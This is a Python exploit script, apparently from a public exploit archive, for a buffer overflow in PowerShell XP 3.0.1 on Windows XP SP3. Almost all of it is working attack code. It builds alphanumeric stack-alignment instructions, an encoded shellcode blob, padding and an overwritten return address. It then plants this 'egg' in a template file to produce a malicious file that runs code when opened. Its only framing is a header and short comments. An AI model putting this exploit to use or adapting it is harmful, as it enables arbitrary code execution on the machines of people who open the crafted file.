#!/usr/bin/python # vuln finders : kmkz, zadyree, hellpast # author : m_101 # site : http://binholic.blogspot.com/ # Exploit Title: PowerShell XP 3.0.1 0day # Date: 11/12/2010 # Author: m_101 # Software Link: http://www.softpedia.com/progDownload/PowerShell-XP-Download-22529.html # Version: 3.0.1 # Tested on: Windows XP SP3 English import sys if len(sys.argv) < 4: print("Usage: %s input output payload" % sys.argv[0]) print("Payload must be encoded with alpha2 and EAX based exit(1) # get file content infile = sys.argv[1] fp = open(infile, 'r') content = fp.read() fp.close() # fpayload = sys.argv[3] fp = open(fpayload, 'r') payload = fp.read() fp.close() # first offset ... but not enough room # ret_offset = 248 ret_offset = 5268 # pop pop ret ret = "\x9e\x13\x40\x00" ecx = "\x45\x61\x39\x76" eax = "\x47\x61\x39\x76" print("Constructing alignment code") # alignment code # dec esp # dec esp # dec esp # dec esp align = 'L' * 4 # push esp ; save current esp register align += 'T' # pop edx ; save in edx align += 'Z' # pop esp (make esp point to data) align += '\\' # push edx ; old esp register align += 'R' # edi # popad align += 'a' # align += ecx # align += eax # we get actual value (for later restore ;)) # pop ecx # push ecx align += "\x59\x51" # push esp # pop eax ; here the code is adjusted but we still need to restore old stack align += 'TX' # we repatch the stack (or we may have bad memory access ;)) # push ecx align += "\x51" # we don't want our current instructions to be crushed # dec esp * 4 align += 'L' * 8 # push edi ; old stack align += 'W' # pop esp ; restore old stack align += '\\' # junk bytes align += 'K' * 4 # scrape space (esp point here) # buffer need to be long enough ;) print("Padding") print("Constructing payload") msg = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIhkS62xKYc5wpC0uP9xZUKOkOyonahlwP5PEPuPK9kUOySuc8kXf6Gp5Ps0Phnn0NdNzLPPm81yS05Ps0NiQUuPLKsmEXmQO38WePEP5PPSYoPUuPsXMxOR2mMlPPKXrnePgpwpOyG5Vd0h5P7p5PuPLKCm38mQksJB5PC05PpSLKSmS8NaiSJMgpgpwpQCSXwpuPS0GpKOpUTDlKBedHmks9uRWp5PvazxioKP01O0PdUS3ptp1hvlLKQPTLnkRPglnMNkcpS8XkUYNk1PttnmCpsLnksp7LySQpnkbLddQ4lKPE5lLKrtuUrX5Q8jLK3zTXNkQJ5peQXkysvWSyNkP4LKuQXnTq9otqyPKLNLMTKp444JyQXOTMWqKwyyIaKOKOKOwKcL145x45YNLK3jTdeQ8kCVNkflbkNk0ZULs18klKuTLKgqKXLIW4VDglE1hBUXWpt5cC1uBRUcGBfN2DPl0lWpaXpa2C2K3UpdTaup7JUyuPPPu1RWPnQuPdupsRaiUpBMcotqtpvQWpA" payload = msg + payload print("Payload size : %u" % len(payload)) # let's have the minimum correct buffer length! padding = (ret_offset - len(payload) - len(align)) * 'C' print("Constructing egg") egg = align + payload + padding + ret print("Egg size : %u" % len(egg)) modified = content.replace('TESTTEST', egg) # working outfile = sys.argv[2] print ("Writing exploit file : %s" % outfile) fp = open(outfile, 'w') fp.write(modified) fp.close()